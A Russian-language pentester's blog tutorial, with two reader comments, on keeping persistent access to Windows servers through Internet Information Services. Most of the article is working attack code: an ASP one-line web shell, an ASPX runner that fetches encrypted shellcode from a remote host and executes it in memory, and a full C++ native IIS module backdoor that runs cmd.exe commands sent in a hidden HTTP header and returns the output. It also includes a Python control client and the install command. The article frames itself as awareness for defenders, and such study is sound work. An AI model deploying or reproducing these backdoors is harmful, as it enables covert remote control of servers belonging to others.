Всем добрый день! Меня зовут Михаил Жмайло, я пентестер в команде CICADA8 Центра инноваций МТС.

На проектах часто встречаются инстансы Internet Information Services (IIS). Это очень удобный инструмент, используемый в качестве сервера приложений. Но знаете ли вы, что даже простое развёртывание IIS может позволить злоумышленнику оставить бекдор в целевой среде?

В статье я покажу закрепление на системе, используя легитимный продукт Microsoft — Internet Information Services. Мы попрактикуемся в программировании на C++, изучим IIS Components и оставим бекдор через IIS Module.

Договоримся сразу: я рассказываю это всё не для того, чтобы вы пошли взламывать чужие системы, а чтобы вы знали, где могут оставить бекдор злоумышленники. Предупреждён — значит вооружён.

Введение

Во время проведения внутренних пентестов наша команда очень часто встречала стандартную заставку IIS. На одном проекте практически каждый компьютер имел это приложение. В тот же вечер я задался вопросом: «А что, если закрепиться на целевой системе и сохранить постоянный доступ к ней через IIS?».

Стандартная заставка IIS
Стандартная заставка IIS

К счастью, Windows даёт свободу действий разработчику: хочешь расширить возможности любой большой Enterprise-штуки? Да пожалуйста, вот тебе куча API!

Перед тем как создавать нашего монстра Франкенштейна, вспомним об уже известных способах закрепления на IIS.

Казино, блэкджек и шеллы

Издавна самым распространённым способом персиста (а в особых случаях и получением первоначального доступа) были веб-шеллы. Впрочем, из-за простоты, маленького веса и большой популярности появилось достаточно много способов обнаружить их появление на веб-сервере.

Здесь дружно смеёмся
Здесь дружно смеёмся

Кроме того, если не добавлять минимальнейший контроль доступа к веб-шеллу, то им сможет пользоваться любой желающий. Не очень круто, правда?

Наконец, кодировки. Возьмём стандартный веб-шелл .aspx. Загрузим в C:\inetpub\wwwroot, поставим права через icacls, запустим.

Абракадабра
Абракадабра

Я знал, что требования к пентестерам высокие, но знания эльфийского никто не просил.

Конечно, есть и чуть более аккуратные варианты.

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

Ровно как и чуть более громоздкие. Например, ASPX шеллкод-раннер с подгрузкой пейлоада с удалённого сервера и последующей дешифровкой AES.

Как тебе такое, Илон Маск?
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Linq" %>

<script runat="server">

	[System.Runtime.InteropServices.DllImport("kernel32")]
	private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);

	[System.Runtime.InteropServices.DllImport("kernel32")]
	private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);

	[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
	private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);

[   System.Runtime.InteropServices.DllImport("kernel32.dll")]
	private static extern IntPtr GetCurrentProcess();

	private byte[] Decrypt(byte[] data, byte[] key, byte[] iv)
	{
    	using (var aes = Aes.Create())
    	{
        	aes.KeySize = 256;
        	aes.BlockSize = 128;

        	// Keep this in mind when you view your decrypted content as the size will likely be different.
        	aes.Padding = PaddingMode.Zeros;

        	aes.Key = key;
        	aes.IV = iv;

        	using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
        	{
            	return PerformCryptography(data, decryptor);
        	}
    	}
	}

	private byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
	{
    	using (var ms = new MemoryStream())
    	using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
    	{
        	cryptoStream.Write(data, 0, data.Length);
        	cryptoStream.FlushFinalBlock();
        	return ms.ToArray();
    	}
	}

	private byte[] GetArray(string url)
	{
    	using (WebClient webClient = new WebClient())
    	{
        	string content = webClient.DownloadString(url);
        	byte[] byteArray = content.Split(',')
        	.Select(hexValue => Convert.ToByte(hexValue.Trim(), 16))
        	.ToArray();
        	return byteArray;
    	}
	}

	private static Int32 MEM_COMMIT=0x1000;
	private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;

	protected void Page_Load(object sender, EventArgs e)
	{
    	IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
    	if(mem == null)
    	{
        	return;
    	}

    	// Encrypted shellcode
    	byte[] Enc = GetArray("http://192.168.x.x/enc.txt");

    	// Key
    	byte[] Key = GetArray("http://192.168.x.x/key.txt");

    	// IV
    	byte[] Iv = GetArray("http://192.168.x.x/iv.txt");

    	// Decrypt our shellcode
    	byte[] e4qRS= Decrypt(Enc, Key, Iv);

    	// Allocate our memory buffer
    	IntPtr zG5fzCKEhae = VirtualAlloc(IntPtr.Zero,(UIntPtr)e4qRS.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
   	 
    	// Copy our decrypted shellcode ito the buffer
    	System.Runtime.InteropServices.Marshal.Copy(e4qRS,0,zG5fzCKEhae,e4qRS.Length);

    	// Create a thread that contains our buffer
    	IntPtr aj5QpPE = IntPtr.Zero;
    	IntPtr oiAJp5aJjiZV = CreateThread(IntPtr.Zero,UIntPtr.Zero,zG5fzCKEhae,IntPtr.Zero,0,ref aj5QpPE);
	}
</script>
<!DOCTYPE html>
<html>
<body>
	<p>Check your listener...</p>
</body>
</html>

Существуют даже генераторы веб-шеллов. Сверху ко всему этому добавляется удовольствие для ценителей — перезапись web.config. Казалось бы, бери и не думай!

Но нет! Хочется чего-нибудь этакого: нового, необычного и достаточно скрытного, чтобы не каждый стажёр-защитник мог прогнать тебя со скомпрометированного хоста.

И такое решение нашлось.

IIS Components

Как я уже сказал, Microsoft позволяет расширять встроенную функциональность своих продуктов. До версии 7.0 в IIS были ISAPI Extensions и ISAPI Filters. Эти средства до сих пор доступны, но на смену им пришли IIS Handler и IIS Module соответственно.

IIS Handler позволяет обрабатывать полученный запрос на IIS и создавать ответ для различного типа контента. Например, существует хендлер в ASP.NET, позволяющий обрабатывать страницы ASPX (наши веб-шеллы в том числе).

IIS Module также участвует в обработке. IIS предоставляет ему полный и неограниченный доступ ко всем входящим и исходящим HTTP-запросам. Думаю, это наш кандидат. Сами модули можно разделить на два типа: Managed и Native. Managed — те, которые были написаны на C#, а Native — на C++. Список установленных модулей можно увидеть через стандартный диспетчер служб IIS.

Диспетчер служб IIS
Диспетчер служб IIS

Сам процесс закрепления аналогичен веб-шеллу: если идёт обращение по определённому эндпоинту с определёнными параметрами, то на системе выполняется команда.

Общий концепт

Я понимаю, как можно расширить функциональность в Windows. Всё основывается на написании собственной DLL-библиотеки с нужными методами. После её создания остаётся лишь зарегистрировать библиотеку в IIS и с помощью неё обрабатывать конкретные события, появляющиеся на сервере, например, получение нового HTTP-запроса.

Чтобы мы смогли зарегистрировать нашу библиотеку в IIS, она должна экспортировать функцию RegisterModule() со следующим прототипом:

HRESULT __stdcall RegisterModule(
    DWORD dwServerVersion,
    IHttpModuleRegistrationInfo*   pModuleInfo,
    IHttpServer*               	pHttpServer
)

dwServerVersion определяет версию сервера, на котором библиотека регистрируется. IHttpModuleRegistratioInfo — это так называемый интерфейс. Для неискушённых отмечу, что интерфейс в ООП можно считать некоторым обязательством класса по реализации определённых методов. Отличный разбор можно посмотреть тут.

Таким образом, обращаясь к переменной pModuleInfo (она будет идентифицировать наш модуль в IIS), мы можем извлечь имя текущего модуля с помощью GetName(), получить его ID через GetId(), но самое интересное (собственно, что нам и нужно) — подписаться на обработку определённых событий через SetRequestNotifications().

Ещё возможно установить приоритезацию, но она нам не особо интересна. Хотя если вы планируете писать высоконагруженный веб-шелл…

Впрочем, вернёмся к SetRequestNotifications().

virtual HRESULT SetRequestNotifications(  
   IN IHttpModuleFactory* pModuleFactory,  
   IN DWORD dwRequestNotifications,  
   IN DWORD dwPostRequestNotifications  
) = 0;

Это так называемая **чисто виртуальная функция**. Её логика должна быть реализована в каком-то классе. В нашем случае вызвать эту функцию можно, обратившись к pModuleInfo. Сама же функция принимает следующие аргументы:

  • pModuleFactory — экземпляр класса, который будет удовлетворять интерфейсу IHttpModuleFactory. То есть мы просто должны создать класс, указать, что он унаследован от интерфейса, и реализовать в этом классе методы GetHttpModule и Terminate

  • dwRequestNotifications — битовая маска, идентифицирующая все события, на которые подписывается IIS Module. Нас интересуют RQ_SEND_RESPONSE и RQ_BEGIN_REQUEST. Весь список возможных событий можно найти тут

  • dwPostRequestNotifications — битовая маска, идентифицирующая все так называемые post-event-события. Эту маску удобно использовать для обработки чего-то, что уже произошло на IIS. Нас это значение не особо интересует, поэтому ставим 0

В случае успешной инициализации функция RegisterModule() должна вернуть S_OK.

Логичный вопрос: «Где же обрабатывать события?». И перед тем как на него ответить, нужно разобраться со всеми классами и фабриками.

Класс, фабрика, племя и бедный иудей

В функции SetRequestNotification() нам следует первым параметром передать экземпляр класса, удовлетворяющего интерфейсу IHttpModuleFactory. Наш класс может быть каким угодно, главное, чтобы в нём была реализация двух методов: GetHttpModule() и Terminate().

Например, назовём класс неочевидным именем CHttpModuleFactory.

class CHttpModuleFactory : public IHttpModuleFactory
{
public:
    
	HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator* pAllocator)
	{
   	 ... здесь код ...
	}

	void Terminate()
	{
    	delete this;
	}
};

Метод GetHttpModule() будет вызываться каждый раз, когда на IIS поступает запрос, обработка которого была зарегистрирована. Terminate() будет вызываться в конце обработки запроса.

Внутри GetHttpModule() наш класс должен создать экземпляр класса CHttpModule и вернуть адрес в переменную ppModule. Именно класс CHttpModule предоставляет функционал по обработке запросов на IIS, его определение представлено в стандартном заголовочном файле httpserv.h.

Определение класса CHttpModule
Определение класса CHttpModule

Если глянем на функции OutputDebugString(), то поймём, что мало создать экземпляр класса — мы должны предусмотреть реализацию метода для обработки конкретного события. Переопределить код существующего метода можно дочерним классом, назовём его CChildHttpModule.

В самом классе пока пропишем только прототипы методов, которые будем переопределять. Но очень хорошая практика, на мой взгляд, вставлять код метода в .h-файл — может возникнуть какая-нибудь LNK*-ошибка.

class CChildHttpModule : public CHttpModule
{
public:
	REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss);  
};

Внутри GetHttpModule() предусмотрим код для создания экземпляра класса CChildHttpModule.

class CHttpModuleFactory : public IHttpModuleFactory
{
public:
    
	HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator*)
	{
    	CChildHttpModule* pModule = new CChildHttpModule();
    	*ppModule = pModule;
    	pModule = NULL;
    	return S_OK;
	}

	void Terminate()
	{
    	delete this;
	}
};

Если подвести черту, то только что описанные действия реализуют паттерн проектирования, называемый «фабрикой» (отсюда и всякие *Factory в названиях интерфейсов). Этот паттерн позволяет создать объект (он и называется фабрикой) для создания других объектов. А затем, при обращении к фабрике, будут создаваться нужные объекты.

Вся логика работы теперь предельно ясна:

  1. Регистрируем модуль в IIS.

  2. IIS вызывает RegisterModule().

  3. Подписываемся на нужные события, отдаём через pModuleInfo->SetRequestNotifications() указатель на экземпляр нашей фабрики.

  4. IIS при появлении запроса обратится к методу GetHttpModule() нашей фабрики.

  5. Создастся новый инстанс класса CChildHttpModule().

  6. Вызовется нужный метод, соответствующий событию, с помощью этого инстанса класса. В нашем случае, если подписались на RQ_SEND_RESPONSE, то вызовется OnSendResponse().

  7. Внутри метода обрабатываем ответ веб-сервера.

  8. Возвращаем из метода RQ_NOTIFICATION_CONTINUE. Это значение свидетельствует об успешном завершении функции по обработке.

  9. IIS запускает метод Terminate().

Зачем обрабатывать ответ, если нужно запрос?

Логичнее было бы обрабатывать событие RQ_BEGIN_REQUEST с вызовом метода OnBeginRequest(). Но как в этом случае получать вывод? Конечно, можно что-то там накодить на сокетах или оставить слепое выполнение команд, но это не очень удобно. Поэтому я использовал RQ_SEND_RESPONSE. Тем более в методе OnSendResponse() через аргумент pHttpContext благодаря IHttpContext интерфейсу можно получить доступ как к запросу, так и к ответу.

Логика работы нашего инструмента будет предельно проста: осуществляем парсинг полученного запроса, обнаруживаем желание атакующего выполнить команду на системе, выполняем команду, добавляем вывод команды к ответу IIS-сервера — успех!

Начинаем кодить

Итак, создаём пустой проект для написания библиотеки динамической компоновки в Visual Studio. В функцию DllMain ничего не добавляем, она нам не нужна. Реализуем RegisterModule().

#include "pch.h"
#include <Windows.h>
#include <httpserv.h>
#include "classes.h"

CHttpModuleFactory* pFactory = NULL;

__declspec(dllexport) HRESULT __stdcall RegisterModule(
	DWORD dwSrvVersion,
	IHttpModuleRegistrationInfo* pModuleInfo,
	IHttpServer* pHttpServer)
{
	pFactory = new CHttpModuleFactory();
	HRESULT hr = pModuleInfo->SetRequestNotifications(pFactory, RQ_SEND_RESPONSE, 0);
	return hr;
}

В этом коде мы объявляем функцию, экспортируемую из DLL. Далее внутри неё создаём экземпляр новой фабрики, который будет использоваться IIS для создания объектов класса CChildHttpModule.

В заголовочном файле classes.h реализуем прототипы классов CHttpModuleFactory и CChildHttpModule.

#pragma once
#include <Windows.h>
#include <httpserv.h>

class CChildHttpModule : public CHttpModule
{
public:
    REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss);
};


class CHttpModuleFactory : public IHttpModuleFactory
{
public:
    HRESULT GetHttpModule(CHttpModule** ppModule, IModuleAllocator* pModuleAlloc);

    void Terminate();
};

В файле classes.cpp пишем логику методов этих классов.

#include "classes.h"

REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss)
{
    ...
}

HRESULT CHttpModuleFactory::GetHttpModule(CHttpModule** ppModule, IModuleAllocator* pModuleAlloc)
{
    CChildHttpModule* pModule = new CChildHttpModule();
    *ppModule = pModule;
    pModule = NULL;
    return S_OK;
}

void CHttpModuleFactory::Terminate()
{
    if (this != NULL)
    {
   	 delete this;
    }
}

Дальше нужно понять, как мы хотим выполнять команду и видеть вывод. После этого решаем, как будем реализовывать функцию OnSendResponse().

Методы IHttp*-интерфейса

Для минимального POC предлагаю отсылать HTTP-пакет с заголовком X-Cmd-Command: <command>. Так как наш IIS Module зарегистрирован для обработки RQ_SEND_RESPONSE, то внутри IIS вызовется функция OnSendResponse(). Прототип у неё вот такой:

virtual REQUEST_NOTIFICATION_STATUS OnSendResponse(  
   IN IHttpContext* pHttpContext,  
   IN ISendResponseProvider* pProvider  
);

Здесь нас интересует указатель pHttpContext. Так как этот экземпляр реализует интерфейс IHttpContext, то мы можем использовать функции, определённые в этом интерфейсе.

Сначала нам следует извлечь полученный IIS запрос и отправляемый ответ. Это можно сделать с помощью методов pHttpContext->GetRequest() и pHttpContext->GetResponse().

В результате чего получим два экземпляра, соответствующих интерфейсу IHttpRequest и IHttpResponse.

Извлечь значение определённого заголовка позволяет метод GetHeader().

virtual PCSTR GetHeader(  
   IN PCSTR pszHeaderName,  
   OUT USHORT* pcchHeaderValue = NULL  
) const = 0;  
 
virtual PCSTR GetHeader(  
   IN HTTP_HEADER_ID ulHeaderIndex,  
   OUT USHORT* pcchHeaderValue = NULL  
) const = 0;

Остаётся лишь извлечь значение, отдать в cmd.exe /c <command>, после чего добавить результат выполнения к ответу веб-приложения. С первыми двумя шагами всё очевидно, GetHeader(), CreateProcess() с перенаправлением вывода в пайп, но как добавить результат выполнения команд?

Для этого используем метод SetHeader().

virtual HRESULT SetHeader(  
   IN PCSTR pszHeaderName,  
   IN PCSTR pszHeaderValue,  
   IN USHORT cchHeaderValue,  
   IN BOOL fReplace  
) = 0;  
 
virtual HRESULT SetHeader(  
   IN HTTP_HEADER_ID ulHeaderIndex,  
   IN PCSTR pszHeaderValue,  
   IN USHORT cchHeaderValue,  
   IN BOOL fReplace  
) = 0;

Обратите внимание, что этот метод присутствует и у IHttpRequest, но мы его вызываем по отношению к экземпляру IHttpResponse (ведь мы же хотим включить результат выполнения команды в ответ, так ведь? :) ).

Результат исполнения команды вставляем в формате Base64.

Как дебажить это чудо

Ранее в статье я уже упоминал о прекрасной функции OutputDebugString(). Её я буду использовать в том числе и в функции OnSendResponse(). В случае Native IIS Module это единственный возможный более-менее высокоуровневый способ (из известных мне) отладки и отлова ошибок при разработке. OutputDebugString() делает вот что:

  • если текущий процесс отлаживается, то текст прямиком отправляется в отладчик

  • иначе — вызывает стандартную функцию OpenEvent() и пытается открыть хендл на два именованных события. Одно с именем DBWIN_BUFFER_READY, другое — DBWIN_DATA_READY. Если одно из них или оба не найдены, то строка, переданная в функцию, просто очищается

  • если события существуют, то идёт помещение строки в память путём вызова OpenFileMapping() с именем DBWIN_BUFFER. Если этот маппинг не найден, то текст просто очищается

  • наконец, если все три объекта существуют, OutputDebugString() вызывает MapViewOfFile() для создания маппинга, и строка появляется в памяти. Её оттуда можно считать

Для удобства можно воспользоваться, например, DebugView.

Вот пример двух программ, одна из которых получает строки, отправляемые другой с помощью функции Outputdebugstring():

#include <Windows.h>
#include <stdio.h>
#include <atltime.h>

int main() {
    HANDLE hBufferReady = ::CreateEvent(nullptr, FALSE, FALSE,
   	 L"DBWIN_BUFFER_READY");
    HANDLE hDataReady = ::CreateEvent(nullptr, FALSE, FALSE,
   	 L"DBWIN_DATA_READY");

    DWORD size = 1 << 12;
    HANDLE hMemFile = ::CreateFileMapping(INVALID_HANDLE_VALUE, nullptr,
   	 PAGE_READWRITE, 0, size, L"DBWIN_BUFFER");

    auto buffer = (BYTE*)::MapViewOfFile(hMemFile, FILE_MAP_READ,
   	 0, 0, 0);

    while (WAIT_OBJECT_0 == ::SignalObjectAndWait(hBufferReady, hDataReady,
   	 INFINITE, FALSE)) {
   	 SYSTEMTIME local;
   	 ::GetLocalTime(&local);
   	 DWORD pid = *(DWORD*)buffer;
   	 printf("%ws.%03d %6d: %s\n",
   		 (PCWSTR)CTime(local).Format(L"%X"),
   		 local.wMilliseconds, pid,
   		 (const char*)(buffer + sizeof(DWORD)));
    }
    getchar();
    return 0;
}

А вот программа, отправляющая строку:

#include <windows.h>

int main()
{
	LPCWSTR str = (LPCWSTR)L"Hi!!!";
	OutputDebugString(str);
	return 0;
}

Вывод следующий:

Успешная отладка
Успешная отладка

Примерно так выглядит процесс отладки с помощью DebugView:

Функции в коде
Функции в коде
Интерфейс DebugView
Интерфейс DebugView

Написание финального POC

Итак, нам остаётся лишь корректно описать всё в методе OnSendResponse() и получить работающий бекдор. Начнём с функций по кодированию. Будем использовать base64, поэтому здесь всё просто. Так как функция SetHeader() принимает LPCSTR, то наша функция EncodeBase64() будет возвращать LPCSTR. Кодируемые данные будут лежать в BYTE-буфере, поэтому первым аргументом будет адрес буфера, вторым — его размер.

const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

LPCSTR EncodeBase64(BYTE* buffer, size_t in_len) {
	std::string out;

	int val = 0, valb = -6;
	for (size_t i = 0; i < in_len; ++i) {
    	unsigned char c = buffer[i];
    	val = (val << 8) + c;
    	valb += 8;
    	while (valb >= 0) {
        	out.push_back(base64_chars[(val >> valb) & 0x3F]);
        	valb -= 6;
    	}
	}
	if (valb > -6) out.push_back(base64_chars[((val << 8) >> (valb + 8)) & 0x3F]);
	while (out.size() % 4) out.push_back('=');

	char* encodedString = new char[out.length() + 1];
	std::memcpy(encodedString, out.data(), out.length());
	encodedString[out.length()] = '\0';

	return encodedString;
}

Расписывать принцип работы алгоритма, думаю, нет смысла, ведь это стандартный Base64.

Перейдём к самому сочному — обработке OnSendResponse(). Я сначала предоставлю полный код функции, а затем мы его пошагово разберём.

REQUEST_NOTIFICATION_STATUS CChildHttpModule::OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss)
{
    OutputDebugString(L"OnSendResponse IN");
    IHttpRequest* pHttpRequest = pHttpContext->GetRequest();
    IHttpResponse* pHttpResponse = pHttpContext->GetResponse();

    USHORT uComLen = 0;
    LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &uComLen);
    if (lpCommand == NULL || uComLen == 0) {
   	 OutputDebugString(L"lpCommand == NULL || uComLen == 0");
   	 return RQ_NOTIFICATION_CONTINUE;
    }

    OutputDebugString(L"Command isn't null");
    
    lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1);
    lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &uComLen);

	std::vector<BYTE> output;

    if (ExecuteCommand(lpCommand, output) != 0)
    {
   	 OutputDebugString(L"ExecuteCommand Failed");
    	return RQ_NOTIFICATION_CONTINUE;
    }

    OutputDebugString(L"ExecuteCommand success");

	if (output.empty())
	{
    	OutputDebugString(L"Buffer Is empty!");
    	return RQ_NOTIFICATION_CONTINUE;
	}

	OutputDebugString(L"Buffer is not empty");
	LPCSTR b64Data = EncodeBase64(output.data(), output.size());
	if (b64Data == NULL)
	{
    	OutputDebugString(L"Base64 Data Is Null!");
    	return RQ_NOTIFICATION_CONTINUE;
	}

	pHttpResponse->SetHeader(HEADER, b64Data, strlen(b64Data), false);
	output.clear();
	delete[] b64Data;
    OutputDebugString(L"OnSendResponse OUT");
    return RQ_NOTIFICATION_CONTINUE;
}

Во-первых, как и обещал, множество OutputDebugString(). Это позволяет через DebugView отслеживать состояние модуля IIS.

Отладка через DebugView
Отладка через DebugView

Во-вторых, извлекаем из pHttpContext экземпляр ответа и запроса.

IHttpRequest* pHttpRequest = pHttpContext->GetRequest();
IHttpResponse* pHttpResponse = pHttpContext->GetResponse();

Затем через чтение заголовка X-Cmd-Command получаем значение команды, которую следует исполнить.

LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &uComLen);
if (lpCommand == NULL || uComLen == 0) {
    OutputDebugString(L"lpCommand == NULL || uComLen == 0");
    return RQ_NOTIFICATION_CONTINUE;
}

OutputDebugString(L"Command isn't null");

lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1);
lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &uComLen);

Обратите внимание, что заголовок я поместил в переменную HEADER. Она определена в файле defs.h. Это позволяет достаточно быстро и без особых проблем менять используемый заголовок.

Основная функциональность нашего бекдора — выполнение произвольных команд. Поэтому я создаю вектор с данными типа BYTE. В этой переменной будет находиться результат выполнения команды.

std::vector<BYTE> output;

if (ExecuteCommand(lpCommand, output) != 0)
{
    OutputDebugString(L"ExecuteCommand Failed");
	return RQ_NOTIFICATION_CONTINUE;
}

OutputDebugString(L"ExecuteCommand success");

if (output.empty())
{
	OutputDebugString(L"Buffer Is empty!");
	return RQ_NOTIFICATION_CONTINUE;
}

OutputDebugString(L"Buffer is not empty");

ExecuteCommand() выглядит вот так.

DWORD ExecuteCommand(LPCSTR command, std::vector<BYTE>& outputBuffer) {
	STARTUPINFOA si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
	HANDLE hReadPipe, hWritePipe;
	BOOL success = FALSE;

	if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {
    	OutputDebugString(L"CreatePipe failed");
    	return -1;
	}

	ZeroMemory(&si, sizeof(STARTUPINFOA));
	si.cb = sizeof(STARTUPINFOA);
	si.dwFlags |= STARTF_USESTDHANDLES;
	si.hStdOutput = hWritePipe;
	si.hStdError = hWritePipe;

	char cmdCommand[MAX_PATH];
	snprintf(cmdCommand, MAX_PATH, "C:\\Windows\\System32\\cmd.exe /c %s", command);

	if (!CreateProcessA(
    	NULL,
    	cmdCommand,
    	NULL,
    	NULL,
    	TRUE,
    	CREATE_NO_WINDOW,
    	NULL,
    	NULL,
    	&si,
    	&pi)) {
    	OutputDebugString(L"CreateProcessA failed");
    	CloseHandle(hReadPipe);
    	CloseHandle(hWritePipe);
    	return -1;
	}

	OutputDebugString(L"CreateProcessA Success");

	CloseHandle(hWritePipe);

	outputBuffer.clear();
    
	const DWORD tempBufferSize = 4096;
	std::vector<BYTE> tempBuffer(tempBufferSize);
	DWORD bytesRead;

	while (true) {
    	if (!ReadFile(hReadPipe, tempBuffer.data(), tempBufferSize, &bytesRead, NULL) || bytesRead == 0)
        	break;
    	outputBuffer.insert(outputBuffer.end(), tempBuffer.begin(), tempBuffer.begin() + bytesRead);
	}

	CloseHandle(hWritePipe);
	CloseHandle(hReadPipe);
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);

	return 0;
}

Матёрому безопаснику эта функция покажется донельзя простой. Первым делом создаём пайп для получения результата команды. Следующим шагом генерируем исполняемую команду (cmd.exe /c <command>), после чего её выполняем. Результат выполнения упадёт в пайп, из которого мы считываем данные и помещаем их в наш вектор.

Процесс чтения также достаточно прост. Как только функция начинает завершаться с ошибкой либо данные перестают читаться, значит всё, конец чтения :)

После считывания всех данных в вектор кодируем его в Base64 и вставляем в ответ веб-сервера через метод SetHeader().

LPCSTR b64Data = EncodeBase64(output.data(), output.size());
	if (b64Data == NULL)
	{
    	OutputDebugString(L"Base64 Data Is Null!");
    	return RQ_NOTIFICATION_CONTINUE;
	}
	OutputDebugStringA(b64Data);
	pHttpResponse->SetHeader(HEADER, b64Data, strlen(b64Data), false);
	output.clear();
	delete[] b64Data;
    OutputDebugString(L"OnSendResponse OUT");
    return RQ_NOTIFICATION_CONTINUE;
}

Выполняем команды

Момент истины! Добиваемся выполнения команд. Для того чтобы отправлять запросы на заражённый IIS, напишем простенький скрипт на Python.

import requests
import argparse
import base64

parser = argparse.ArgumentParser(description='Send a custom command to a server and print the response.')
parser.add_argument('--host', type=str, required=True, help='HTTP URL of the host to connect to')
parser.add_argument('--cmd', type=str, required=True, help='Command to send in the X-Cmd-Command header')
parser.add_argument('--header', type=str, default='X-Cmd-Command', help='Header to receive the response in, defaults to X-Cmd-Command')
args = parser.parse_args()

url = args.host


headers = {
	args.header: args.cmd
}

response = requests.get(url, headers=headers)

if response.status_code == 200:
	response_value = response.headers.get(args.header)
	if response_value:
    	decoded_value = base64.b64decode(response_value.encode()).decode()
    	print(f"Значение заголовка {args.header} в ответе: {decoded_value}")
	else:
    	print(f"Заголовок {args.header} отсутствует в ответе.")
else:
	print(f"Ошибка: Не удалось соединиться с сервером. Статус код: {response.status_code}")

Скрипт принимает два необходимых и один опциональный параметр:

  • --host — URL-адрес хоста, на котором расположен IIS

  • --cmd — команда для выполнения

  • --header — имя заголовка, через который отдаём команду и получаем вывод. Используем X-Cmd-Command, но если вы перекомпилируете проект с другим заголовком, то не забудьте указать новое значение

Перед тем как увидеть столь заветный результат, не забудьте зарегистрировать в IIS наш модуль. Делается одной простой командой:

C:\Windows\system32\inetsrv\appcmd.exe install module /name:"Backdoor" /image:C:\Windows\System32\inetsrv\Backdoor.dll /add:true

Можно, конечно, установить через графический интерфейс, но это как-то не по-хакерски.

При успешной регистрации увидим в DebugView строку RegisterModule.

Успешная регистрация бекдора
Успешная регистрация бекдора

Если мы просто зайдём на IIS и будем обновлять страницу, то ничего подозрительного не будет. Можем лишь видеть, как успешно логируется наше же сообщение о том, что никакой команды получено не было.

Обычный IIS
Обычный IIS

Запускаем наш Python-скрипт и видим успешное выполнение команды!

Успешное выполнение команды
Успешное выполнение команды

Success! 

Заключение

Порой вполне стандартные и легитимные механизмы могут оказаться весьма полезными при проведении пентестов. Есть ещё очень много функциональности, которую можно добавить к этому проекту. Например, было бы отлично кодировать не только вывод, но и ввод. Чтобы в заголовке X-Cmd-Command отдавалась команда в Base64. К счастью, получать значение заголовка мы научились. За вами — прикрутить функцию по декодированию из Base64. Все необходимые данные уже лежат в base64.cpp. Дерзайте :)

Полный код проекта доступен на GitHub.

Комментарии (2)


  1. vesper-bot
    02.04.2024 11:51
    +1

    Из серии "если мы получим на системе рута, мы может на ней поднять реверс-шелл", или я чего-то не понимаю? Кроме того, полученные права довольно невелики по сравнению с администратором хоста (хотя смотря что за креды у апп-пула, и не подняли ли поверх ииса windows auth, чтобы керберос-тикеты тырить). Но в качестве точки, куда ещё смотреть в поисках крыс, ценно.


    1. MichelleVermishelle Автор
      02.04.2024 11:51
      +2

      Здравствуйте!

      Да, действительно, это один из методов закрепления, которым могут пользоваться злоумышленники для оставления своего, в том числе, реверс-шелла на конечной системе. Была задача найти что-нибудь интересное и любопытное, отличное от приевшейся всем автозагрузки и Scheduled Tasks))))

      Кстати, про поиск крыс. Этот метод использовала малварь RGDoor для закрепления на своих жертвах. Ресерч можно прочитать тут.